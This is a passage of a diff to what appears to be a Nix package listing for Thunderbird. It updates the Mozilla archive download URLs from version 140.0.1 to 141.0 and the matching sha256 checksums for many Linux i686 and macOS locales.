+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ko/thunderbird-141.0.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "b19a34c16d6be3c99d27afbf0652385d3d4e78ed87a15e31df365f9e8cd78e74";
+      sha256 = "86d98e73c60846a0ff7bb342221567d6ea13c0fdd0f1a6f9b2409fac2dee48c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/lt/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/lt/thunderbird-141.0.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "78f0083f8bd205453297d9d2e9fc8fecd08ae1b23d78de6b8b680f00f0082e60";
+      sha256 = "83abeb626dc7366cc05589e63a7fd9a66315709bd6774456cc7f07d34c3657ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/lv/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/lv/thunderbird-141.0.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "72b6adf081b4c58a40e3a2f49a1346c7b10149c5ef6d0a00cdc6f379c5fe373d";
+      sha256 = "2b4d4bd4b407a24dfc077ec78e3355983751d69262f8c4456fb19d1151f76d99";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ms/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ms/thunderbird-141.0.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "f98174324222c3a7ca3f01cce23347014bdc097d92c68999368ad46af6db92e3";
+      sha256 = "4696e7b5d6acf46398c68794d27ff2128849b029c6f435e29d617bbc29d83fc4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/nb-NO/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/nb-NO/thunderbird-141.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "87749694091646ddac28ae652c1f508f55d4d34704c1bee7bfcc480bbb076ecb";
+      sha256 = "96a1eadce6db4ab879c4a898c2612155b3b149ea2a6a2f44c179700600a59349";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/nl/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/nl/thunderbird-141.0.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "19e158bac6081049c8951b6e21b1b9fdd413b986352546e9fa28ef329a918aa1";
+      sha256 = "2a191eef47a2ecab3c374b2253a139990af1b4b8cedd60b723e9347be90283fb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/nn-NO/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/nn-NO/thunderbird-141.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "c670fb0d2e71836458d83760e96acc74513c3c17ca876a6c89387315887e09f9";
+      sha256 = "46eec712da7acfa9440b71879b830d3af9ec8d57f7388b533b1fc7437e4fdc03";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/pa-IN/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/pa-IN/thunderbird-141.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "5426731b40b5d7cffba0c118e7298f9ecf402f7dcac0ba6d8a86fe5d6592f24c";
+      sha256 = "da50cf2d1d9edfab0d01abf6218457d8c37c13e2742680f4eb2e18332f770750";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/pl/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/pl/thunderbird-141.0.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "d7ff76ba476af38e2df8653b97504059475f83d3d736577ca3cffba4df709bf8";
+      sha256 = "3159f77c31fab656d9ae26326c3616a751352808d634d7e4759ac9a75886c534";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/pt-BR/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/pt-BR/thunderbird-141.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "cb445348e6944b403b6828f8e5b84160c5c152480b8efeff52f251558663b764";
+      sha256 = "1e54aa49c4af4fff86c728b5a88c74b063b32480bf26ff92396a21da0a4aebf1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/pt-PT/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/pt-PT/thunderbird-141.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "e7e23ee9ccab2e2f2fa60c9ef0563a1c6907c5844cbc7b2f1b811211e8848cec";
+      sha256 = "592742688c4373d9a8901bc9e92148441b7d50a22477b7091d0c9d1608524c9b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/rm/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/rm/thunderbird-141.0.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "bc12710c36cfb4aca784f0641c5f6674bcbcb9d245ef783a096599c3e6b9023d";
+      sha256 = "84ff84c3dc5e2d5f57cff956edd030350174c69c1ce143ba96fcf3d62c115860";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ro/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ro/thunderbird-141.0.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "9f628db4553bfcaa8cfd22dc46116e621d86549074e61253870e808f241eade2";
+      sha256 = "22682657101bb13551bfe7a538612abbaf2177349b3c6623853cd71d6b71acee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ru/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ru/thunderbird-141.0.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "f427eb709b5a4f798a3f126fe925bf4c39b5c687ab39d562f4789d5df6e6dfea";
+      sha256 = "66f62f787d416732763b435cc8a7a578ef2dc20e0d6b1fd945b89e919cfabd5b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sk/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sk/thunderbird-141.0.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "5366a9bbc948eb76d36546935fdbe650a100c4ff8164fe76028bfc99c9fddce1";
+      sha256 = "97f2f0e5dbfc80c51c151bbcd4fac3fe9882772fb3898c738cfa3869b8b83b76";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sl/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sl/thunderbird-141.0.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "603dcb66bc319760717ac1a4952f871886bdf4966794e0fae972d4b32bd29d2f";
+      sha256 = "f331d3bd134642870817f2ecf5e20ad8a6c2217fb0ac12ca2b9f450f8ae704b0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sq/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sq/thunderbird-141.0.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "396e7de07675140a73b2ca0abd38b707aa852d6203b31774ff5569588e4a2574";
+      sha256 = "87f8177a17f950aa266a2a9f4261c14a0b877402d7a765b1059271f2f9b0058d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sr/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sr/thunderbird-141.0.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "fc0ad748b936784f084bb83612607c4026f5b6ae17cf34a06ab5fd95f2e88ad6";
+      sha256 = "6417cd8d5bc05ad293af59d3e7994d2ae4bd7c74768c253d60fb758531003e3e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sv-SE/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sv-SE/thunderbird-141.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "76ecb38ca1821157ddbcc90c85f0c24b3e9ef94f9b12d76792fe171b95c0404c";
+      sha256 = "1ce6be7ec939a9f803583d9381cf9bacaf3f90fd5d05c3d4a18c649645c44d57";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/th/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/th/thunderbird-141.0.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "949bffb08b4c67c9afac567f39c82ebd157ae2077bc5d18c5983fcea482568ae";
+      sha256 = "1bb66df11e9ddfd184bd8de062c954a23206e54af2c8aca5207e42a0c4c57802";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/tr/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/tr/thunderbird-141.0.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "9411dd9602204a50865192126ba7ba2501c2e9fc7d495f09e06016dc5f6ace88";
+      sha256 = "8af1af9b252ebd3e38529bff3ce81d574a9d3450f8b9beeb006ebd09472f2d9f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/uk/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/uk/thunderbird-141.0.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "afe54fc83d3188ae2bf4387981732cb28624143e1779cdaa5786876ae9f841a7";
+      sha256 = "cc480e6a931ac0d1350e916e4af84c55b0acbfda861012fb5791fa3a2c27c2ef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/uz/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/uz/thunderbird-141.0.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "a39229bca96665d284880adb37a375ec75c4b362d836a22321b5594d5105c529";
+      sha256 = "b98fabc8ad222e67a82c376188ac4858ca106a61b74488fe77bcfc6db57236cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/vi/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/vi/thunderbird-141.0.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "dab350702a5f2580459cd312600d67c4fd0d9ab04e8bb76b277182a5473bf302";
+      sha256 = "6723b961380329c040a188c26422137e510b5906c0c804cc86e281c4c8b60554";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/zh-CN/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/zh-CN/thunderbird-141.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "d0e64288acb23ffa89315595da354de60547e9c950e41e1977a9fd2f6edd7b5b";
+      sha256 = "0d71d5b2dba7aa7436073795d7f25a45891c101c2df45b7f97e5aac9f4e02b8e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/zh-TW/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/zh-TW/thunderbird-141.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "44f1c8d939640f34c3101e41a50662b0325d1f8c503c2d6d9b4fb7a34fea3d70";
+      sha256 = "c6885b8aac0f87a5a6ac903b829e1b424601688965cc2422d9406e0a134d9ca4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/af/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/af/Thunderbird%20141.0.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "6e88472216a2c2efbd94709917287e85416080e980b0ce5959b96588a7a22b17";
+      sha256 = "70fb633f85a25f8bd97c304db7607c4481964d7f4d33f07c940fa1eb39964f66";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ar/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ar/Thunderbird%20141.0.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "4cdc3b49e54f8995da5e78cc6d08ba72237bf1ffa82f72ee3726f3898254e3d0";
+      sha256 = "fb8b2675c7da8c457598541bd132c34ccffdc904553dedd953c06f1e3fcfa7e7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ast/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ast/Thunderbird%20141.0.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "33bdbc4059ffc6389f427e15e9ea0ae662729debfa6fd681806128ecdc64eb9a";
+      sha256 = "f5a6a6323661c36798dbbc22d4e13af7ed54b677cbc0f0b03325fa2ad058c2c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/be/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/be/Thunderbird%20141.0.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "173cbc422821f0f0bfa7e77bbae84e63990c5d3230dd0ff3e458d3850a152b42";
+      sha256 = "0258d6d0d9b10101761affa225973fa3e2dde241dd39b47774ca96694e00d5c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/bg/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/bg/Thunderbird%20141.0.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "b2c8cb548df0af9ef5d5c3197c585f97b0a0ea4464081d931b2aeb491880ce4d";
+      sha256 = "9e599b125c76e1c9b706e880ed6ce93a41a39797368d024e9369b0dcdddda63f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/br/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/br/Thunderbird%20141.0.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "c91cfb08755fd17c34555bb781d5fb664e3c1a0ff375f1102cd966d13d7d4815";
+      sha256 = "7830f4eca448512a6d56fe45c867003226bdad42afacf49cfd27f0cba6f64d71";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ca/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ca/Thunderbird%20141.0.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "a2d1b8fe7f13aa062f0832ab31b91585e0e7a8e366b000644217e12be08926ae";
+      sha256 = "0a5beafee9e791ec86f4bb5e03ad9aa1e2919d9aeb3a05e372bb9840fd0724d4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/cak/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/cak/Thunderbird%20141.0.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "6c24284813ea061f439f38a7b18058d1f606759e3103b0b76ee51e7bfe1b3fac";
+      sha256 = "c11916bb8a09bf6784c2bd65c7640c519e049c9895af9be04c5b82503c9c411b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/cs/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/cs/Thunderbird%20141.0.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "bb08735fafb466974fe1b839377ea0e57f99e1cf589ff3f6c13048876e42523d";
+      sha256 = "c7eb485d8927e8a343ddf52035df39c39c8ec5c6e02a1af783a0fb692908810b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/cy/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/cy/Thunderbird%20141.0.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "46d54db89e97eceb1779bc0d8f5a3c076cd814b3a515037e3584f562c250a4bf";
+      sha256 = "4865ad34e0dda392f624818807b958c5dd2da975f93494e5759cdc4f1f425179";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/da/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/da/Thunderbird%20141.0.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "8884ee2cb526fca3ce406e65215a6c526aed5432e957bd847252cc81e3f41a34";
+      sha256 = "b4ac8827b25a116920ea88972fc9c423eb4b3f2f7e2cde6790365501f121c0b2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/de/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/de/Thunderbird%20141.0.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "a1bd0d36a5716611efe4e10ebed6e570fdabfe047995b92e66366a326a64ff9e";
+      sha256 = "365e18dc39a980fd5c259dc0082834a02d2aeb63189b1b441880e15553eb1b26";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/dsb/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/dsb/Thunderbird%20141.0.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "a5157be62a59d09f27a7eb195cb1e080ff3146dd7ff5da5818b83560e9514a2e";
+      sha256 = "05676294cccb6ed1e17c4e2dcb01f3d85e4a43a14419e9c0a4fb5965dd14e94d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/el/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/el/Thunderbird%20141.0.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "d9b1af911553ce72c79b6df8a91eb0fdefd33b41288d8a70d94eb5b576195bb2";
+      sha256 = "749f87d70e6fd0b9154fd137527259540afd3fc2419eff004f7da625b912295f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/en-CA/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/en-CA/Thunderbird%20141.0.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "866e7b136ca1f1194300139a5cc557225f8c28c40bbe7f3d32e7f5bab986be9d";
+      sha256 = "37fcb0879c7e0b6118a0820223432db7eee2678366beb996a044ced5a060f6da";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/en-GB/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/en-GB/Thunderbird%20141.0.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "fc8256d9b0f84cac54168c7a2ae3216f02bdf6753e4435ab5222ee2828e2da5e";
+      sha256 = "6300f4d92ef6b548d751a8d695bfce687c38e86176ab37a249bad48ec62d9708";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/en-US/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/en-US/Thunderbird%20141.0.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "70cc063fb5f8cbcc87db93011501b9f3abb0a0e610cae481d32f14bc8050392c";
+      sha256 = "96eefb7c37b75921e14a72bf441f037fc7c7d3ff0e8b4303eed9dffea059e04f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/es-AR/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/es-AR/Thunderbird%20141.0.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "3795e0790f5a63ab6a4349d207ca5c5bda5e7517408fb29247570a9c763b4901";
+      sha256 = "5f2bce275c998cfccac7d5b82ceb4ba326bd7eb117516abbbc133a74118f447e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/es-ES/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/es-ES/Thunderbird%20141.0.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "7a73b110df27377b1efd1e89945c44a7cfd038b4e3f105b02f6653ddc42d133f";
+      sha256 = "0231315dc91fca660f8fde0ee85509debd511cf78c11a375f94135de3ce2cce4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/es-MX/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/es-MX/Thunderbird%20141.0.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "9a61a55f1d9798be757ffcc46ba81996c2ff91fa653bd25a22623a808e4d2974";
+      sha256 = "6bac155a2449069272bd75f0a1f9d38080c999cc78122b59cb528943a0bae325";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/et/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/et/Thunderbird%20141.0.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "39c69a62c8565bf4f3f4948a7ef825f8cc249f94fae8a88ebeede498cb243224";
+      sha256 = "6a4b8bc419c22444443eeaccac4bd5a4281c5efbee90496bf7f97a6c0b6276f7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/eu/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/eu/Thunderbird%20141.0.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "76f5c8e68a9afa0d047c0de14d7bf3bf90e065098fa6310b1ed5508fc4a8ad0e";
+      sha256 = "c2002185a0ef8654fec9c6c79d553997c09a8d647471a0ca329cbe6d221357a4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/fi/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/fi/Thunderbird%20141.0.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "89cfea97ed6568e712cfae7d1dccf91efc83e0a7408ad1a6fa4e4165dcdf2a55";
+      sha256 = "a6b07435361153e1bce27801fa716272d3fc42716c3366acb53573496b6a90bd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/fr/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/fr/Thunderbird%20141.0.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "58c9d7f708d04e22e76b77fc2b71caf9c8ab7a9898e64efcf4ff17465612a55a";
+      sha256 = "9581024c69846acb002b6c6451c21042b093e616ff3dbe5863e002d7cded996b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/fy-NL/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/fy-NL/Thunderbird%20141.0.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "6b773a69491af963c8b85c2b802579f676dd479781aa92d3e080d396031983bb";
+      sha256 = "608320e4c6d13abc426e54d7868306464a1e127ed3b497ac955fe888d960fc87";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ga-IE/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ga-IE/Thunderbird%20141.0.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "b28cfb3f927191eef09a30bf7f99c7c80c5aecd4d6d0dac9566dbe51ca02596a";
+      sha256 = "9ec25930a5b07dff62f3cab18beb7cd7478c3f236d2483d9c59d55b7cba6e856";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/gd/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/gd/Thunderbird%20141.0.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "70152b2256bc18567d6a152f25b3f9cda014aaa0df87084e276f006cafc87e95";
+      sha256 = "836623763272e090a8074e840e61ea889dc151d98e7977bee7b04b005e84ef94";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/gl/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/gl/Thunderbird%20141.0.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "7ee1a93a7dbb83ed82bd0d1b3d4330f1c24a8a8059e88f475ffb5c62553e2446";
+      sha256 = "f47002972dfd09f0f24614d2ae1da85903fbc7409f75fd16fc6430f555660c46";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/he/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/he/Thunderbird%20141.0.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "0d46bbe3d63a135dc9a69536fe85a1d5a0a4c941a0ca299f9ccbecd7a60c2a9a";
+      sha256 = "f854eca41c6022a7d6fab50273cba7af01a2bd973eb85116077f629414d61868";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/hr/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/hr/Thunderbird%20141.0.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "82b18c1776938e6f4adf8e792b76f28207af20e8d1f0beeb681a3d221fc45fb2";
+      sha256 = "a9f10564066a0553c8b21ad52736980ea5eb14ac99c4611f63a82ac1083461e6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/hsb/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/hsb/Thunderbird%20141.0.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "75ced0b156f5126bb3588bf5980dcc70ef1f28fb7815e8ab76bdfbc31467e006";
+      sha256 = "56b2b69f0b767f57067c7daff449fa64d48a94dfd7b726a27f45846e3acf6293";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/hu/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/hu/Thunderbird%20141.0.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "7c076f04a8715a105d65d70a338c2071a65e88f3635594718bda613af59bf4fa";
+      sha256 = "8a992416e499555800c93c3cae0c67ef9e01699ab66acbeb46fe5b88e6014783";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/hy-AM/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/hy-AM/Thunderbird%20141.0.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "e9a65bd8093eb3d1a3234eaf3fee4c9395f2541c567736e15efbcb9607573065";
+      sha256 = "5b2f4f0e4b706dba1bb9af59681c82939c5a78303fa9ed0b8a12ae434607bac3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/id/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/id/Thunderbird%20141.0.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "c909ffea198c320e7c01ee73c4f715b06019e9a9c11333970c006ed60c92cb4c";
+      sha256 = "47d9903004dc3b9b281ed3c0b2e607253340cb42fe9e706db13d8b54e6c79f7e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/is/Thunderbird%20140.0.1.dmg";
